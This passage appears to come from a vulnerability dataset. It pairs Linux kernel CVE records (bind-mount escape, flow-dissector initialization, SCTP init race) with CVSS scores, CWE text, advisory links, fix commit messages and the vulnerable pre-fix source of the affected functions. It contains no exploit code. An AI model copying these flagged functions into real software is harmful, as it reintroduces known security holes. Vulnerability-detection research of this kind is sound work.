'http://lists.opensuse.org/opensuse-security-announce/2016-02/msg00021.html', 'name': 'SUSE-SU-2016:0386', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2016-02/msg00020.html', 'name': 'SUSE-SU-2016:0384', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2016-02/msg00009.html', 'name': 'SUSE-SU-2016:0337', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2016-02/msg00007.html', 'name': 'SUSE-SU-2016:0335', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2016-02/msg00022.html', 'name': 'SUSE-SU-2016:0387', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2016-02/msg00034.html', 'name': 'SUSE-SU-2016:0434', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2016-02/msg00018.html', 'name': 'SUSE-SU-2016:0381', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2016-02/msg00019.html', 'name': 'SUSE-SU-2016:0383', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2794-1', 'name': 'USN-2794-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2799-1', 'name': 'USN-2799-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-12/msg00005.html', 'name': 'SUSE-SU-2015:2194', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://rhn.redhat.com/errata/RHSA-2015-2636.html', 'name': 'RHSA-2015:2636', 'refsource': 'REDHAT', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2792-1', 'name': 'USN-2792-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2795-1', 'name': 'USN-2795-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2798-1', 'name': 'USN-2798-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.debian.org/security/2015/dsa-3372', 'name': 'DSA-3372', 'refsource': 'DEBIAN', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-12/msg00018.html', 'name': 'SUSE-SU-2015:2292', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://www.debian.org/security/2015/dsa-3364', 'name': 'DSA-3364', 'refsource': 'DEBIAN', 'tags': []}, {'url': 'http://rhn.redhat.com/errata/RHSA-2016-0068.html', 'name': 'RHSA-2016:0068', 'refsource': 'REDHAT', 'tags': []}]
[{'description': [{'lang': 'en', 'value': 'CWE-254'}]}]
MEDIUM
[{'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*', 'versionEndIncluding': '4.2.3', 'cpe_name': []}]}]
[{'lang': 'en', 'value': 'The prepend_path function in fs/dcache.c in the Linux kernel before 4.2.4 does not properly handle rename actions inside a bind mount, which allows local users to bypass an intended container protection mechanism by renaming a directory, related to a "double-chroot attack."'}]
2018-01-05T02:30Z
2015-11-16T11:59Z
7PK - Security Features
Software security is not security software. Here we're concerned with topics like authentication, access control, confidentiality, cryptography, and privilege management.
https://cwe.mitre.org/data/definitions/254.html
1
Eric W. Biederman
2015-08-15 20:27:13-05:00
vfs: Test for and handle paths that are unreachable from their mnt_root In rare cases a directory can be renamed out from under a bind mount. In those cases without special handling it becomes possible to walk up the directory tree to the root dentry of the filesystem and down from the root dentry to every other file or directory on the filesystem. Like division by zero .. from an unconnected path can not be given a useful semantic as there is no predicting at which path component the code will realize it is unconnected. We certainly can not match the current behavior as the current behavior is a security hole. Therefore when encounting .. when following an unconnected path return -ENOENT. - Add a function path_connected to verify path->dentry is reachable from path->mnt.mnt_root. AKA to validate that rename did not do something nasty to the bind mount. To avoid races path_connected must be called after following a path component to it's next path component. Signed-off-by: "Eric W. Biederman" <[email protected]> Signed-off-by: Al Viro <[email protected]>
397d425dc26da728396e66d392d5dcb8dac30c37
False
torvalds/linux
Linux kernel source tree
2011-09-04 22:48:12
2022-08-26 19:08:15
torvalds
136917.0
44307.0
follow_dotdot
follow_dotdot( struct nameidata * nd)
['nd']
static void follow_dotdot(struct nameidata *nd) { if (!nd->root.mnt) set_root(nd); while(1) { struct dentry *old = nd->path.dentry; if (nd->path.dentry == nd->root.dentry && nd->path.mnt == nd->root.mnt) { break; } if (nd->path.dentry != nd->path.mnt->mnt_root) { /* rare case of legitimate dget_parent()... */ nd->path.dentry = dget_parent(nd->path.dentry); dput(old); break; } if (!follow_up(&nd->path)) break; } follow_mount(&nd->path); nd->inode = nd->path.dentry->d_inode; }
143
True
1
CVE-2015-2925
False
False
False
False
AV:L/AC:M/Au:N/C:C/I:C/A:C
LOCAL
MEDIUM
NONE
COMPLETE
COMPLETE
COMPLETE
6.9
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
[{'url': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=cde93be45a8a90d8c264c776fab63487b5038a65', 'name': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=cde93be45a8a90d8c264c776fab63487b5038a65', 'refsource': 'CONFIRM', 'tags': ['Vendor Advisory']}, {'url': 'https://github.com/torvalds/linux/commit/397d425dc26da728396e66d392d5dcb8dac30c37', 'name': 'https://github.com/torvalds/linux/commit/397d425dc26da728396e66d392d5dcb8dac30c37', 'refsource': 'CONFIRM', 'tags': ['Vendor Advisory']}, {'url': 'https://github.com/torvalds/linux/commit/cde93be45a8a90d8c264c776fab63487b5038a65', 'name': 'https://github.com/torvalds/linux/commit/cde93be45a8a90d8c264c776fab63487b5038a65', 'refsource': 'CONFIRM', 'tags': ['Vendor Advisory']}, {'url': 'http://www.openwall.com/lists/oss-security/2015/04/04/4', 'name': '[oss-security] 20150404 Re: Linux namespaces: It is possible to escape from bind mounts', 'refsource': 'MLIST', 'tags': []}, {'url': 'http://www.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.2.4', 'name': 'http://www.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.2.4', 'refsource': 'CONFIRM', 'tags': ['Vendor Advisory']}, {'url': 'https://bugzilla.redhat.com/show_bug.cgi?id=1209367', 'name': 'https://bugzilla.redhat.com/show_bug.cgi?id=1209367', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://permalink.gmane.org/gmane.linux.kernel.containers/29173', 'name': '[containers] 20150403 [PATCH review 17/19] vfs: Test for and handle paths that are unreachable from their mnt_root', 'refsource': 'MLIST', 'tags': []}, {'url': 'http://pkgs.fedoraproject.org/cgit/kernel.git/commit/?h=f22&id=520b64102de2f184036024b2a53de2b67463bd78', 'name': 'http://pkgs.fedoraproject.org/cgit/kernel.git/commit/?h=f22&id=520b64102de2f184036024b2a53de2b67463bd78', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'https://bugzilla.redhat.com/show_bug.cgi?id=1209373', 'name': 'https://bugzilla.redhat.com/show_bug.cgi?id=1209373', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=397d425dc26da728396e66d392d5dcb8dac30c37', 'name': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=397d425dc26da728396e66d392d5dcb8dac30c37', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://permalink.gmane.org/gmane.linux.kernel.containers/29177', 'name': '[containers] 20150403 [PATCH review 19/19] vfs: Do not allow escaping from bind mounts.', 'refsource': 'MLIST', 'tags': []}, {'url': 'http://www.oracle.com/technetwork/topics/security/linuxbulletinjan2016-2867209.html', 'name': 'http://www.oracle.com/technetwork/topics/security/linuxbulletinjan2016-2867209.html', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://www.oracle.com/technetwork/topics/security/linuxbulletinoct2015-2719645.html', 'name': 'http://www.oracle.com/technetwork/topics/security/linuxbulletinoct2015-2719645.html', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://www.securityfocus.com/bid/73926', 'name': '73926', 'refsource': 'BID', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2016-02/msg00017.html', 'name': 'SUSE-SU-2016:0380', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2016-02/msg00021.html', 'name': 'SUSE-SU-2016:0386', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2016-02/msg00020.html', 'name': 'SUSE-SU-2016:0384', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2016-02/msg00009.html', 'name': 'SUSE-SU-2016:0337', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2016-02/msg00007.html', 'name': 'SUSE-SU-2016:0335', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2016-02/msg00022.html', 'name': 'SUSE-SU-2016:0387', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2016-02/msg00034.html', 'name': 'SUSE-SU-2016:0434', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2016-02/msg00018.html', 'name': 'SUSE-SU-2016:0381', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2016-02/msg00019.html', 'name': 'SUSE-SU-2016:0383', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2794-1', 'name': 'USN-2794-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2799-1', 'name': 'USN-2799-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-12/msg00005.html', 'name': 'SUSE-SU-2015:2194', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://rhn.redhat.com/errata/RHSA-2015-2636.html', 'name': 'RHSA-2015:2636', 'refsource': 'REDHAT', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2792-1', 'name': 'USN-2792-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2795-1', 'name': 'USN-2795-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2798-1', 'name': 'USN-2798-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.debian.org/security/2015/dsa-3372', 'name': 'DSA-3372', 'refsource': 'DEBIAN', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-12/msg00018.html', 'name': 'SUSE-SU-2015:2292', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://www.debian.org/security/2015/dsa-3364', 'name': 'DSA-3364', 'refsource': 'DEBIAN', 'tags': []}, {'url': 'http://rhn.redhat.com/errata/RHSA-2016-0068.html', 'name': 'RHSA-2016:0068', 'refsource': 'REDHAT', 'tags': []}]
[{'description': [{'lang': 'en', 'value': 'CWE-254'}]}]
MEDIUM
[{'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*', 'versionEndIncluding': '4.2.3', 'cpe_name': []}]}]
[{'lang': 'en', 'value': 'The prepend_path function in fs/dcache.c in the Linux kernel before 4.2.4 does not properly handle rename actions inside a bind mount, which allows local users to bypass an intended container protection mechanism by renaming a directory, related to a "double-chroot attack."'}]
2018-01-05T02:30Z
2015-11-16T11:59Z
7PK - Security Features
Software security is not security software. Here we're concerned with topics like authentication, access control, confidentiality, cryptography, and privilege management.
https://cwe.mitre.org/data/definitions/254.html
1
Eric W. Biederman
2015-08-15 20:27:13-05:00
vfs: Test for and handle paths that are unreachable from their mnt_root In rare cases a directory can be renamed out from under a bind mount. In those cases without special handling it becomes possible to walk up the directory tree to the root dentry of the filesystem and down from the root dentry to every other file or directory on the filesystem. Like division by zero .. from an unconnected path can not be given a useful semantic as there is no predicting at which path component the code will realize it is unconnected. We certainly can not match the current behavior as the current behavior is a security hole. Therefore when encounting .. when following an unconnected path return -ENOENT. - Add a function path_connected to verify path->dentry is reachable from path->mnt.mnt_root. AKA to validate that rename did not do something nasty to the bind mount. To avoid races path_connected must be called after following a path component to it's next path component. Signed-off-by: "Eric W. Biederman" <[email protected]> Signed-off-by: Al Viro <[email protected]>
397d425dc26da728396e66d392d5dcb8dac30c37
False
torvalds/linux
Linux kernel source tree
2011-09-04 22:48:12
2022-08-26 19:08:15
torvalds
136917.0
44307.0
handle_dots
handle_dots( struct nameidata * nd , int type)
['nd', 'type']
static inline int handle_dots(struct nameidata *nd, int type) { if (type == LAST_DOTDOT) { if (nd->flags & LOOKUP_RCU) { return follow_dotdot_rcu(nd); } else follow_dotdot(nd); } return 0; }
45
True
1
CVE-2017-13715
False
False
False
False
AV:N/AC:L/Au:N/C:C/I:C/A:C
NETWORK
LOW
NONE
COMPLETE
COMPLETE
COMPLETE
10.0
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
NETWORK
LOW
NONE
NONE
UNCHANGED
HIGH
HIGH
HIGH
9.8
CRITICAL
3.9
5.9
nan
[{'url': 'https://github.com/torvalds/linux/commit/a6e544b0a88b53114bfa5a57e21b7be7a8dfc9d0', 'name': 'https://github.com/torvalds/linux/commit/a6e544b0a88b53114bfa5a57e21b7be7a8dfc9d0', 'refsource': 'CONFIRM', 'tags': ['Issue Tracking', 'Patch', 'Third Party Advisory']}, {'url': 'http://seclists.org/oss-sec/2017/q3/345', 'name': 'http://seclists.org/oss-sec/2017/q3/345', 'refsource': 'CONFIRM', 'tags': ['Mailing List', 'Third Party Advisory']}, {'url': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=a6e544b0a88b53114bfa5a57e21b7be7a8dfc9d0', 'name': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=a6e544b0a88b53114bfa5a57e21b7be7a8dfc9d0', 'refsource': 'CONFIRM', 'tags': ['Issue Tracking', 'Patch', 'Vendor Advisory']}, {'url': 'http://www.securityfocus.com/bid/100517', 'name': '100517', 'refsource': 'BID', 'tags': ['Third Party Advisory', 'VDB Entry']}]
[{'description': [{'lang': 'en', 'value': 'CWE-665'}]}]
HIGH
[{'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*', 'versionEndExcluding': '4.3', 'cpe_name': []}]}]
[{'lang': 'en', 'value': 'The __skb_flow_dissect function in net/core/flow_dissector.c in the Linux kernel before 4.3 does not ensure that n_proto, ip_proto, and thoff are initialized, which allows remote attackers to cause a denial of service (system crash) or possibly execute arbitrary code via a single crafted MPLS packet.'}]
2022-01-31T18:23Z
2017-08-29T01:35Z
Improper Initialization
The software does not initialize or incorrectly initializes a resource, which might leave the resource in an unexpected state when it is accessed or used.
This can have security implications when the associated resource is expected to have certain properties or values, such as a variable that determines whether a user has been authenticated or not.
https://cwe.mitre.org/data/definitions/665.html
0
Tom Herbert
2015-09-01 09:24:26-07:00
flow_dissector: Jump to exit code in __skb_flow_dissect Instead of returning immediately (on a parsing failure for instance) we jump to cleanup code. This always sets protocol values in key_control (even on a failure there is still valid information in the key_tags that was set before the problem was hit). Signed-off-by: Tom Herbert <[email protected]> Signed-off-by: David S. Miller <[email protected]>
a6e544b0a88b53114bfa5a57e21b7be7a8dfc9d0
False
torvalds/linux
Linux kernel source tree
2011-09-04 22:48:12
2022-08-26 19:08:15
torvalds
136917.0
44307.0
__skb_flow_dissect
__skb_flow_dissect( const struct sk_buff * skb , struct flow_dissector * flow_dissector , void * target_container , void * data , __be16 proto , int nhoff , int hlen)
['skb', 'flow_dissector', 'target_container', 'data', 'proto', 'nhoff', 'hlen']
bool __skb_flow_dissect(const struct sk_buff *skb, struct flow_dissector *flow_dissector, void *target_container, void *data, __be16 proto, int nhoff, int hlen) { struct flow_dissector_key_control *key_control; struct flow_dissector_key_basic *key_basic; struct flow_dissector_key_addrs *key_addrs; struct flow_dissector_key_ports *key_ports; struct flow_dissector_key_tags *key_tags; struct flow_dissector_key_keyid *key_keyid; u8 ip_proto = 0; if (!data) { data = skb->data; proto = skb->protocol; nhoff = skb_network_offset(skb); hlen = skb_headlen(skb); } /* It is ensured by skb_flow_dissector_init() that control key will * be always present. */ key_control = skb_flow_dissector_target(flow_dissector, FLOW_DISSECTOR_KEY_CONTROL, target_container); /* It is ensured by skb_flow_dissector_init() that basic key will * be always present. */ key_basic = skb_flow_dissector_target(flow_dissector, FLOW_DISSECTOR_KEY_BASIC, target_container); if (skb_flow_dissector_uses_key(flow_dissector, FLOW_DISSECTOR_KEY_ETH_ADDRS)) { struct ethhdr *eth = eth_hdr(skb); struct flow_dissector_key_eth_addrs *key_eth_addrs; key_eth_addrs = skb_flow_dissector_target(flow_dissector, FLOW_DISSECTOR_KEY_ETH_ADDRS, target_container); memcpy(key_eth_addrs, &eth->h_dest, sizeof(*key_eth_addrs)); } again: switch (proto) { case htons(ETH_P_IP): { const struct iphdr *iph; struct iphdr _iph; ip: iph = __skb_header_pointer(skb, nhoff, sizeof(_iph), data, hlen, &_iph); if (!iph || iph->ihl < 5) return false; nhoff += iph->ihl * 4; ip_proto = iph->protocol; if (ip_is_fragment(iph)) ip_proto = 0; if (!skb_flow_dissector_uses_key(flow_dissector, FLOW_DISSECTOR_KEY_IPV4_ADDRS)) break; key_addrs = skb_flow_dissector_target(flow_dissector, FLOW_DISSECTOR_KEY_IPV4_ADDRS, target_container); memcpy(&key_addrs->v4addrs, &iph->saddr, sizeof(key_addrs->v4addrs)); key_control->addr_type = FLOW_DISSECTOR_KEY_IPV4_ADDRS; break; } case htons(ETH_P_IPV6): { const struct ipv6hdr *iph; struct ipv6hdr _iph; __be32 flow_label; ipv6: iph = __skb_header_pointer(skb, nhoff, sizeof(_iph), data, hlen, &_iph); if (!iph) return false; ip_proto = iph->nexthdr; nhoff += sizeof(struct ipv6hdr); if (skb_flow_dissector_uses_key(flow_dissector, FLOW_DISSECTOR_KEY_IPV6_ADDRS)) { struct flow_dissector_key_ipv6_addrs *key_ipv6_addrs; key_ipv6_addrs = skb_flow_dissector_target(flow_dissector, FLOW_DISSECTOR_KEY_IPV6_ADDRS, target_container); memcpy(key_ipv6_addrs, &iph->saddr, sizeof(*key_ipv6_addrs)); key_control->addr_type = FLOW_DISSECTOR_KEY_IPV6_ADDRS; } flow_label = ip6_flowlabel(iph); if (flow_label) { if (skb_flow_dissector_uses_key(flow_dissector, FLOW_DISSECTOR_KEY_FLOW_LABEL)) { key_tags = skb_flow_dissector_target(flow_dissector, FLOW_DISSECTOR_KEY_FLOW_LABEL, target_container); key_tags->flow_label = ntohl(flow_label); } } break; } case htons(ETH_P_8021AD): case htons(ETH_P_8021Q): { const struct vlan_hdr *vlan; struct vlan_hdr _vlan; vlan = __skb_header_pointer(skb, nhoff, sizeof(_vlan), data, hlen, &_vlan); if (!vlan) return false; if (skb_flow_dissector_uses_key(flow_dissector, FLOW_DISSECTOR_KEY_VLANID)) { key_tags = skb_flow_dissector_target(flow_dissector, FLOW_DISSECTOR_KEY_VLANID, target_container); key_tags->vlan_id = skb_vlan_tag_get_id(skb); } proto = vlan->h_vlan_encapsulated_proto; nhoff += sizeof(*vlan); goto again; } case htons(ETH_P_PPP_SES): { struct { struct pppoe_hdr hdr; __be16 proto; } *hdr, _hdr; hdr = __skb_header_pointer(skb, nhoff, sizeof(_hdr), data, hlen, &_hdr); if (!hdr) return false; proto = hdr->proto; nhoff += PPPOE_SES_HLEN; switch (proto) { case htons(PPP_IP): goto ip; case htons(PPP_IPV6): goto ipv6; default: return false; } } case htons(ETH_P_TIPC): { struct { __be32 pre[3]; __be32 srcnode; } *hdr, _hdr; hdr = __skb_header_pointer(skb, nhoff, sizeof(_hdr), data, hlen, &_hdr); if (!hdr) return false; key_basic->n_proto = proto; key_control->thoff = (u16)nhoff; if (skb_flow_dissector_uses_key(flow_dissector, FLOW_DISSECTOR_KEY_TIPC_ADDRS)) { key_addrs = skb_flow_dissector_target(flow_dissector, FLOW_DISSECTOR_KEY_TIPC_ADDRS, target_container); key_addrs->tipcaddrs.srcnode = hdr->srcnode; key_control->addr_type = FLOW_DISSECTOR_KEY_TIPC_ADDRS; } return true; } case htons(ETH_P_MPLS_UC): case htons(ETH_P_MPLS_MC): { struct mpls_label *hdr, _hdr[2]; mpls: hdr = __skb_header_pointer(skb, nhoff, sizeof(_hdr), data, hlen, &_hdr); if (!hdr) return false; if ((ntohl(hdr[0].entry) & MPLS_LS_LABEL_MASK) >> MPLS_LS_LABEL_SHIFT == MPLS_LABEL_ENTROPY) { if (skb_flow_dissector_uses_key(flow_dissector, FLOW_DISSECTOR_KEY_MPLS_ENTROPY)) { key_keyid = skb_flow_dissector_target(flow_dissector, FLOW_DISSECTOR_KEY_MPLS_ENTROPY, target_container); key_keyid->keyid = hdr[1].entry & htonl(MPLS_LS_LABEL_MASK); } key_basic->n_proto = proto; key_basic->ip_proto = ip_proto; key_control->thoff = (u16)nhoff; return true; } return true; } case htons(ETH_P_FCOE): key_control->thoff = (u16)(nhoff + FCOE_HEADER_LEN); /* fall through */ default: return false; } ip_proto_again: switch (ip_proto) { case IPPROTO_GRE: { struct gre_hdr { __be16 flags; __be16 proto; } *hdr, _hdr; hdr = __skb_header_pointer(skb, nhoff, sizeof(_hdr), data, hlen, &_hdr); if (!hdr) return false; /* * Only look inside GRE if version zero and no * routing */ if (hdr->flags & (GRE_VERSION | GRE_ROUTING)) break; proto = hdr->proto; nhoff += 4; if (hdr->flags & GRE_CSUM) nhoff += 4; if (hdr->flags & GRE_KEY) { const __be32 *keyid; __be32 _keyid; keyid = __skb_header_pointer(skb, nhoff, sizeof(_keyid), data, hlen, &_keyid); if (!keyid) return false; if (skb_flow_dissector_uses_key(flow_dissector, FLOW_DISSECTOR_KEY_GRE_KEYID)) { key_keyid = skb_flow_dissector_target(flow_dissector, FLOW_DISSECTOR_KEY_GRE_KEYID, target_container); key_keyid->keyid = *keyid; } nhoff += 4; } if (hdr->flags & GRE_SEQ) nhoff += 4; if (proto == htons(ETH_P_TEB)) { const struct ethhdr *eth; struct ethhdr _eth; eth = __skb_header_pointer(skb, nhoff, sizeof(_eth), data, hlen, &_eth); if (!eth) return false; proto = eth->h_proto; nhoff += sizeof(*eth); } goto again; } case NEXTHDR_HOP: case NEXTHDR_ROUTING: case NEXTHDR_DEST: { u8 _opthdr[2], *opthdr; if (proto != htons(ETH_P_IPV6)) break; opthdr = __skb_header_pointer(skb, nhoff, sizeof(_opthdr), data, hlen, &_opthdr); if (!opthdr) return false; ip_proto = opthdr[0]; nhoff += (opthdr[1] + 1) << 3; goto ip_proto_again; } case IPPROTO_IPIP: proto = htons(ETH_P_IP); goto ip; case IPPROTO_IPV6: proto = htons(ETH_P_IPV6); goto ipv6; case IPPROTO_MPLS: proto = htons(ETH_P_MPLS_UC); goto mpls; default: break; } key_basic->n_proto = proto; key_basic->ip_proto = ip_proto; key_control->thoff = (u16)nhoff; if (skb_flow_dissector_uses_key(flow_dissector, FLOW_DISSECTOR_KEY_PORTS)) { key_ports = skb_flow_dissector_target(flow_dissector, FLOW_DISSECTOR_KEY_PORTS, target_container); key_ports->ports = __skb_flow_get_ports(skb, nhoff, ip_proto, data, hlen); } return true; }
1386
True
1
CVE-2015-5283
False
False
False
False
AV:L/AC:M/Au:N/C:N/I:N/A:C
LOCAL
MEDIUM
NONE
NONE
NONE
COMPLETE
4.7
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
[{'url': 'https://security-tracker.debian.org/tracker/CVE-2015-5283', 'name': 'https://security-tracker.debian.org/tracker/CVE-2015-5283', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=8e2d61e0aed2b7c4ecb35844fe07e0b2b762dee4', 'name': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=8e2d61e0aed2b7c4ecb35844fe07e0b2b762dee4', 'refsource': 'CONFIRM', 'tags': ['Exploit']}, {'url': 'https://github.com/torvalds/linux/commit/8e2d61e0aed2b7c4ecb35844fe07e0b2b762dee4', 'name': 'https://github.com/torvalds/linux/commit/8e2d61e0aed2b7c4ecb35844fe07e0b2b762dee4', 'refsource': 'CONFIRM', 'tags': ['Exploit']}, {'url': 'https://bugzilla.redhat.com/show_bug.cgi?id=1257528', 'name': 'https://bugzilla.redhat.com/show_bug.cgi?id=1257528', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://patchwork.ozlabs.org/patch/515996/', 'name': 'http://patchwork.ozlabs.org/patch/515996/', 'refsource': 'CONFIRM', 'tags': ['Exploit']}, {'url': 'http://www.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.2.3', 'name': 'http://www.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.2.3', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://www.oracle.com/technetwork/topics/security/linuxbulletinoct2015-2719645.html', 'name': 'http://www.oracle.com/technetwork/topics/security/linuxbulletinoct2015-2719645.html', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://www.securityfocus.com/bid/77058', 'name': '77058', 'refsource': 'BID', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-12/msg00005.html', 'name': 'SUSE-SU-2015:2194', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://www.debian.org/security/2015/dsa-3372', 'name': 'DSA-3372', 'refsource': 'DEBIAN', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2829-2', 'name': 'USN-2829-2', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2823-1', 'name': 'USN-2823-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2826-1', 'name': 'USN-2826-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2829-1', 'name': 'USN-2829-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.securitytracker.com/id/1033808', 'name': '1033808', 'refsource': 'SECTRACK', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-10/msg00009.html', 'name': 'SUSE-SU-2015:1727', 'refsource': 'SUSE', 'tags': []}]
[{'description': [{'lang': 'en', 'value': 'CWE-119'}]}]
MEDIUM
[{'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*', 'versionEndIncluding': '4.2.2', 'cpe_name': []}]}]
[{'lang': 'en', 'value': 'The sctp_init function in net/sctp/protocol.c in the Linux kernel before 4.2.3 has an incorrect sequence of protocol-initialization steps, which allows local users to cause a denial of service (panic or memory corruption) by creating SCTP sockets before all of the steps have finished.'}]
2016-12-08T03:09Z
2015-10-19T10:59Z
Improper Restriction of Operations within the Bounds of a Memory Buffer
The software performs operations on a memory buffer, but it can read from or write to a memory location that is outside of the intended boundary of the buffer.
Certain languages allow direct addressing of memory locations and do not automatically ensure that these locations are valid for the memory buffer that is being referenced. This can cause read or write operations to be performed on memory locations that may be associated with other variables, data structures, or internal program data. As a result, an attacker may be able to execute arbitrary code, alter the intended control flow, read sensitive information, or cause the system to crash.
https://cwe.mitre.org/data/definitions/119.html
0
Marcelo Ricardo Leitner
2015-09-10 17:31:15-03:00
sctp: fix race on protocol/netns initialization Consider sctp module is unloaded and is being requested because an user is creating a sctp socket. During initialization, sctp will add the new protocol type and then initialize pernet subsys: status = sctp_v4_protosw_init(); if (status) goto err_protosw_init; status = sctp_v6_protosw_init(); if (status) goto err_v6_protosw_init; status = register_pernet_subsys(&sctp_net_ops); The problem is that after those calls to sctp_v{4,6}_protosw_init(), it is possible for userspace to create SCTP sockets like if the module is already fully loaded. If that happens, one of the possible effects is that we will have readers for net->sctp.local_addr_list list earlier than expected and sctp_net_init() does not take precautions while dealing with that list, leading to a potential panic but not limited to that, as sctp_sock_init() will copy a bunch of blank/partially initialized values from net->sctp. The race happens like this: CPU 0 | CPU 1 socket() | __sock_create | socket() inet_create | __sock_create list_for_each_entry_rcu( | answer, &inetsw[sock->type], | list) { | inet_create /* no hits */ | if (unlikely(err)) { | ... | request_module() | /* socket creation is blocked | * the module is fully loaded | */ | sctp_init | sctp_v4_protosw_init | inet_register_protosw | list_add_rcu(&p->list, | last_perm); | | list_for_each_entry_rcu( | answer, &inetsw[sock->type], sctp_v6_protosw_init | list) { | /* hit, so assumes protocol | * is already loaded | */ | /* socket creation continues | * before netns is initialized | */ register_pernet_subsys | Simply inverting the initialization order between register_pernet_subsys() and sctp_v4_protosw_init() is not possible because register_pernet_subsys() will create a control sctp socket, so the protocol must be already visible by then. Deferring the socket creation to a work-queue is not good specially because we loose the ability to handle its errors. So, as suggested by Vlad, the fix is to split netns initialization in two moments: defaults and control socket, so that the defaults are already loaded by when we register the protocol, while control socket initialization is kept at the same moment it is today. Fixes: 4db67e808640 ("sctp: Make the address lists per network namespace") Signed-off-by: Vlad Yasevich <[email protected]> Signed-off-by: 